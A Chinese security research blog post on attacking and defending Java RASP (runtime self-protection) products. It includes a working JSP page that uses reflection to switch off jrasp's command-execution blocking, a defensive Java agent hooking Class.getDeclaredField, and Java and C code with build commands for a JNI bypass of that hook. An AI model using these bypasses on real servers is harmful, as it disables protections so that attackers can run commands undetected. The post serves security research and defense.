针对RASP检测反射场景下的对抗思考
2022-9-22 19:42:28 Author: mp.weixin.qq.com(查看原文) 阅读量:7 收藏

戳上面的蓝字关注我吧!


01
背景介绍

最近在研究RASP的攻防场景,接触到利用JNI的方式绕过RASP的检测,同时研究了利用反射来关闭RASP的检测开关的时候,思考了一下防御视角可能会怎么防御。

02
场景补充

详细的分析手法可以看凌日实验室公众号发布的《RASP的安全攻防研究实践》:https://mp.weixin.qq.com/s/uboamTu5LinvFcDktmL3Xw

会获取检测的action字段的值,因此该action的值就决定了是否会拦截。

<%@ page language="java" contentType="text/html; charset=UTF-8"    pageEncoding="UTF-8"%><%@ page import="java.lang.Thread" %><%@ page import="java.lang.reflect.*" %><%@ page import="java.util.*" %><%@ page import="java.net.URLClassLoader" %><%@ page import="java.net.URL" %><!DOCTYPE html><html><head><meta charset="UTF-8"><title>Close Rasp for RCE</title></head><body>  <%
Field raspClassLoaderMap = Thread.currentThread().getContextClassLoader().loadClass("com.jrasp.agent.AgentLauncher").getDeclaredField("raspClassLoaderMap"); raspClassLoaderMap.setAccessible(true); Map map = (Map)raspClassLoaderMap.get(null); ClassLoader raspCLassLoader = (ClassLoader) map.get("jrasp"); Field algorithmMaps = raspCLassLoader.loadClass("com.jrasp.core.algorithm.DefaultAlgorithmManager").getDeclaredField("algorithmMaps"); algorithmMaps.setAccessible(true); Map algorithmMap = (Map) algorithmMaps.get(null); Field RceCheckList = algorithmMap.get("rce").getClass().getDeclaredField("list"); RceCheckList.setAccessible(true); List RceList = (List)RceCheckList.get(null); for(int i=0;i<RceList.size();i++){ Object RceAlgorithm = RceList.get(i); Field action = RceAlgorithm.getClass().getSuperclass().getDeclaredField("action"); action.setAccessible(true); action.set(RceAlgorithm,0); }
out.println("Succeed"); %></body></html>

后续通过反射的方式来动态修改action字段的值。

03
防御视角对抗

在关闭RASP的JSP文件中,可以看出用了反射的方式获取了对应的字段名称,因此我这里的想法就是Hook反射中常见的java.lang.Class的getDeclaredField()方法。

我这里重新编写了一个Hello.jar包,来模拟真实攻击者调用反射获取字段的时候,RASP是怎么来拦截的。

package javaTest;
import java.lang.reflect.Field;
public class Hello { public static void main(String[] args) throws Exception { System.loadLibrary("attach"); Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine"); Field f = cls.getDeclaredField("stub"); System.out.println(cls.getName()); f.setAccessible(true); System.out.println(f.getName()); }}

可以拿到stub的字段对象

我这里手动编写了一个agent,用来模拟RASP的检测

package io.onedev.agent;
import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;import java.security.ProtectionDomain;
import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import javassist.LoaderClassPath;
/** * Hello world! * */public class App { private static final String HOOK_CLASS = "java.lang.Class";
public static void agentmain(String args, Instrumentation instrumentation) throws Exception { //instrumentation.addTransformer(new DefineTransformer(), true); loadAgent(args,instrumentation); }
private static void loadAgent(String arg, final Instrumentation inst) { // 创建DefineTransformer对象 ClassFileTransformer classFileTransformer = new DefineTransformer();
// 添加自定义的Transformer,第二个参数true表示是否允许Agent Retransform, // 需配合MANIFEST.MF中的Can-Retransform-Classes: true配置 inst.addTransformer(classFileTransformer, true);
// 获取所有已经被JVM加载的类对象 Class[] loadedClass = inst.getAllLoadedClasses();
for (Class clazz : loadedClass) { String className = clazz.getName();
if (inst.isModifiableClass(clazz)) { // 使用Agent重新加载字节码,java.lang.Class必须用重新加载才可以Hook if (className.equals(HOOK_CLASS)) { try { inst.retransformClasses(clazz); } catch (UnmodifiableClassException e) { e.printStackTrace(); } } } } }
public static void premain(String args, Instrumentation instrumentation) throws Exception { agentmain(args,instrumentation); }
static class DefineTransformer implements ClassFileTransformer { public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if(HOOK_CLASS.replace(".", "/").equals(className)){ try { ClassPool pool = ClassPool.getDefault(); //ClassPool pool = new ClassPool(true); ClassClassPath classPath = new ClassClassPath(this.getClass()); pool.insertClassPath(classPath); //将当前ClassLoader添加到ClassPath pool.appendClassPath(new LoaderClassPath(loader)); pool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader())); pool.appendSystemPath(); // the same class path as the default one. pool.childFirstLookup = true; CtClass ctClass = pool.get(HOOK_CLASS);
CtMethod ctMethod = ctClass.getDeclaredMethod("getDeclaredField",new CtClass[] {pool.get("java.lang.String")}); for(CtClass cls : ctMethod.getParameterTypes()) { System.out.println(cls.getName()); } ctMethod.insertBefore( "String name = $0.getName();" + "boolean isRaspClass = name.replace(\"class \", \"\").startsWith(\"sun.tools.attach\");" + " if (isRaspClass) {" + " throw new SecurityException(\"Cannot get a sun.tools.attach Class\" +\r\n" + " \" Field\");" + " }"); System.out.println("Access In Method"); return ctClass.toBytecode(); } catch (Throwable e) { System.out.println("Access In ExceptionCatch Method"); e.printStackTrace(); } } return null; } }}

在方法前织入了如下代码:

String name = $0.getName();boolean isRaspClass = name.replace("class ", "").startsWith("sun.tools.attach");if (isRaspClass) {    throw new SecurityException("Cannot get a sun.tools.attach Class Field");}

$0就是当前方法的this对象

成功拦截掉反射“sun.tools.attach”开头的类。

04
攻击视角再谈绕过

上述模拟了RASP场景下,检测反射获取字段的方法,对其包的完全限定名进行判定,以"sun.tools.attach"开头的类名的字段就禁止反射。

针对此类场景我思考了一些我自己的想法,想着看能不能通过JNI的方式关闭RASP。但因为完成攻击首先就需要有一个代码执行的场景,其次是已经有JNI注入了,完全可以通过JNI的方式绕过RASP来完成命令执行,因此我这里也只是当作一种拓展面的方式来分享一些吧。

通过JNI调用Java方法绕过
这里我拿在实战中经常用到的Runtime来举例吧,通过反射的方式来获取Runtime实例,Rasp会拦截反射中获取java.lang.Runtime的类。
package javaTest;
import java.lang.reflect.Field;
public class Hello { public static void main(String[] args) throws Exception { System.loadLibrary("attach"); Class cls=Class.forName("java.lang.Runtime"); Field f = cls.getDeclaredField("currentRuntime"); f.setAccessible(true); Object obj = (Object)Runtime.getRuntime(); System.out.println(obj); }}

打包运行截图如下

明显可以看出使用有RASP Agent的场景无法获取到Runtime类中currentRuntime字段存放的实例。

下面我再利用JNI注入的方式绕过反射检测。

首先创建一个Native函数,函数会返回一个Object对象,也就是Runtime类中currentRuntime静态字段存放的实例。

package com.rasp.demo;
import java.io.File;import java.lang.reflect.Field;
public class JniDemo { { String realPath = System.getProperty("user.dir") + File.separator +"raspDemo.so" ; System.load(realPath); } public native Object GetStaticField(String cls,String fieldName);

public static void main(String[] args) throws Exception { JniDemo demo = new JniDemo(); System.loadLibrary("attach"); Object obj = demo.GetStaticField("java.lang.Runtime","currentRuntime"); System.out.println(obj); }}

有个这个,就可以通过以下命令生成一个头文件

javac -cp . ./com/rasp/demo/JniDemo.java -h com.rasp.demo.JniDemo

头文件内容如下

/* DO NOT EDIT THIS FILE - it is machine generated */#include <jni.h>/* Header for class com_rasp_demo_JniDemo */
#ifndef _Included_com_rasp_demo_JniDemo#define _Included_com_rasp_demo_JniDemo#ifdef __cplusplusextern "C" {#endif/* * Class: com_rasp_demo_JniDemo * Method: GetStaticField * Signature: (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/Object; */JNIEXPORT jobject JNICALL Java_com_rasp_demo_JniDemo_GetStaticField (JNIEnv *, jobject, jstring, jstring);
#ifdef __cplusplus}#endif#endif

里面有一个Java_com_rasp_demo_JniDemo_GetStaticField函数名称,就是我们需要实现的函数。

我的实现内容如下:

#include "com_rasp_demo_JniDemo.h"#include <string.h>#include <stdio.h>#include <sys/types.h>#include <unistd.h>#include <stdlib.h>
char *replaceAll(const char *in, const char *pat, const char *replace) { const int replaceLen = (int)strlen(replace); const int patLen = (int)strlen(pat);
char *str = malloc(strlen(in)+1); strcpy(str, in);
for(;;) { char *p = strstr(str, pat); if (p == NULL) return str;
int replace_pos = (int)(p - str); int tail_len = (int)strlen(p + patLen);
char *newstr = malloc(strlen(str) + (replaceLen - patLen) + 1);
memcpy(newstr, str, replace_pos); memcpy(newstr + replace_pos, replace, replaceLen); memcpy(newstr + replace_pos + replaceLen, str + replace_pos + patLen, tail_len+1);
free(str); str = newstr; }
return str;}

JNIEXPORT jobject JNICALL Java_com_rasp_demo_JniDemo_GetStaticField (JNIEnv *env, jobject obj,jstring clsName,jstring fieldName){
const char *cstr = (*env)->GetStringUTFChars(env, clsName, NULL); const char *field_str = (*env)->GetStringUTFChars(env, fieldName, NULL);
char *className = replaceAll(cstr, ".", "/"); jclass classtring = (*env)->FindClass(env,className); if (classtring == NULL) { return NULL; }

jfieldID currentRuntime = (*env)->GetStaticFieldID(env, classtring, field_str, "Ljava/lang/Runtime;"); jobject runtime_object = (*env)->GetStaticObjectField(env, classtring, currentRuntime);
(*env)->ReleaseStringUTFChars(env,clsName,cstr); (*env)->ReleaseStringUTFChars(env,fieldName,field_str); return runtime_object; }

之后将c代码编译成so文件

gcc -fPIC -I "/usr/lib/jvm/java-11-openjdk-amd64/include" -I"/usr/lib/jvm/java-11-openjdk-amd64/include/linux" -shared -o raspDemo.so raspDemo.c

同时将我们的前面写的JniDemo类打包成jar文件,并附加我们的RASP Agent运行

成功绕过RASP的反射检测,拿到对象实例。

05
总结思考

确实,JNI可以操作的空间很大,不仅能从C代码执行相关操作,同时又可以在C代码中调用Java代码,来回切换、反复横跳,有着很大的操纵空间来规避RASP和HIDS等安全防护产品。在研究这个绕过思路的时候,发现还可以删除对象的Reference引用,熟悉JVM的GC垃圾回收机制的程序员就会知道,一个对象没有引用的时候,是会被GC给回收回去。所以我思考了一下,是否可以通过删除对RASP自定义的ClassLoader的引用,来隔绝ClassLoader加载的类和GC Root的关系,从而使RASP失去防御。

当然,上述场景我也没有验证过,也只是我的一点思考。不过因最近学业繁重,每天都需要花费更多的时间来复习当天所学,关于JNI的一些思考还是留着以后有机会再深入吧。

06
Reference

[1].《RASP的安全攻防研究实践》:https://mp.weixin.qq.com/s/uboamTu5LinvFcDktmL3Xw

[2].https://blog.csdn.net/sujudz/article/details/9019897

[3].https://www.cnblogs.com/c-x-a/p/15609219.html

[4].https://www.cnblogs.com/yongdaimi/p/14023154.html



文章来源: https://mp.weixin.qq.com/s?__biz=MzAxNDk0MDU2MA==&mid=2247484309&idx=1&sn=68b886219d8f76fdde1a05731781b382&chksm=9b8ae36aacfd6a7c4a46a164ffb7e9f5d202848d6056dda997e60b262d659e64d0bf618b3bcd&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh